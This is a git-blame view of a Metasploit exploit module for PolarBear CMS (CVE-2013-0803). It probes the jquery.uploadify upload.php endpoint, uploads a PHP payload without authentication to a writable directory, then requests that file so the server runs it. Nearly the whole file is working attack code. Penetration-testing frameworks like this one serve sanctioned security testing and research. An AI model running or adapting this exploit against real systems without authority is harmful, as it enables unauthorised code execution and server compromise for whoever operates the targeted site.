Files
metasploit-gs/modules/exploits/multi/http/polarcms_upload_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

99 lines
3.1 KiB
Ruby
Raw Normal View History

2013-02-25 14:14:57 -06:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-02-25 14:14:57 -06:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-02-25 14:14:57 -06:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2013-02-25 14:14:57 -06:00
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
2013-08-30 16:28:54 -05:00
2013-02-25 14:14:57 -06:00
def initialize(info = {})
super(update_info(info,
2013-06-18 06:05:45 -05:00
'Name' => 'PolarBear CMS PHP File Upload Vulnerability',
2013-02-25 14:14:57 -06:00
'Description' => %q{
2013-06-18 06:05:45 -05:00
This module exploits a file upload vulnerability found in PolarBear CMS
2013-02-25 14:14:57 -06:00
By abusing the upload.php file, a malicious user can upload a file to a temp
directory without authentication, which results in arbitrary code execution.
},
'Author' =>
[
2013-02-25 19:36:48 -06:00
'Fady Mohamed Osman' # @Fady_Osman
2013-02-25 14:14:57 -06:00
],
'License' => MSF_LICENSE,
'References' =>
[
2013-06-18 05:59:39 -05:00
[ 'CVE', '2013-0803' ],
[ 'OSVDB', '90627' ]
2013-02-25 14:14:57 -06:00
],
'Payload' =>
{
'BadChars' => "\x00",
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
],
'DefaultTarget' => 0,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2012-01-21'))
2013-08-30 16:28:54 -05:00
2013-02-25 14:14:57 -06:00
register_options(
[
OptString.new('TARGETURI', [true, 'The full URI path to Polarbearcms', '/polarbearcms']) ,
OptString.new('UPLOADDIR', [true, 'The directory to upload to starting from web root. This should be writable', '/polarbearcms'])
])
2013-02-25 14:14:57 -06:00
end
2013-08-30 16:28:54 -05:00
2013-02-25 14:14:57 -06:00
def check
uri = target_uri.path
2013-08-30 16:28:54 -05:00
2013-02-25 14:14:57 -06:00
res = send_request_cgi({
'method' => 'GET',
2013-02-25 19:36:48 -06:00
'uri' => normalize_uri(uri, 'includes', 'jquery.uploadify', 'upload.php')
2013-02-25 14:14:57 -06:00
})
2013-08-30 16:28:54 -05:00
2013-02-25 14:14:57 -06:00
if not res or res.code != 200
2014-01-21 14:10:35 -06:00
return Exploit::CheckCode::Safe
2013-02-25 14:14:57 -06:00
end
2013-08-30 16:28:54 -05:00
2013-02-25 14:14:57 -06:00
return Exploit::CheckCode::Appears
end
2013-08-30 16:28:54 -05:00
2013-02-25 14:14:57 -06:00
def exploit
uri = target_uri.path
2013-08-30 16:28:54 -05:00
2013-02-25 19:36:48 -06:00
upload_dir = normalize_uri("#{datastore['UPLOADDIR']}/")
2013-08-30 16:28:54 -05:00
2013-02-25 14:14:57 -06:00
peer = "#{rhost}:#{rport}"
2013-08-30 16:28:54 -05:00
2013-02-25 14:14:57 -06:00
@payload_name = "#{rand_text_alpha(5)}.php"
php_payload = get_write_exec_payload(:unlink_self=>true)
2013-08-30 16:28:54 -05:00
2013-02-25 14:14:57 -06:00
data = Rex::MIME::Message.new
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
2013-02-25 22:58:26 -08:00
data.add_part(normalize_uri(uri, 'includes', 'jquery.uploadify/', nil, nil, "form-data; name=\"folder\""))
2014-02-10 22:23:23 -06:00
post_data = data.to_s
2016-02-01 15:12:03 -06:00
print_status("Uploading payload #{@payload_name}")
2013-02-25 14:14:57 -06:00
res = send_request_cgi({
'method' => 'POST',
2013-02-25 19:36:48 -06:00
'uri' => normalize_uri(uri, 'includes', 'jquery.uploadify', "upload.php?folder=#{upload_dir}"),
2013-02-25 14:14:57 -06:00
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
})
if not res or res.code != 200
2013-08-15 14:14:46 -05:00
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
2013-02-25 14:14:57 -06:00
end
2013-08-30 16:28:54 -05:00
2013-02-25 14:14:57 -06:00
upload_uri = "#{upload_dir}#{@payload_name}"
2016-02-01 15:12:03 -06:00
print_status("Executing payload #{@payload_name}")
2013-02-25 14:14:57 -06:00
res = send_request_raw({
'uri' => upload_uri,
'method' => 'GET'
})
end
end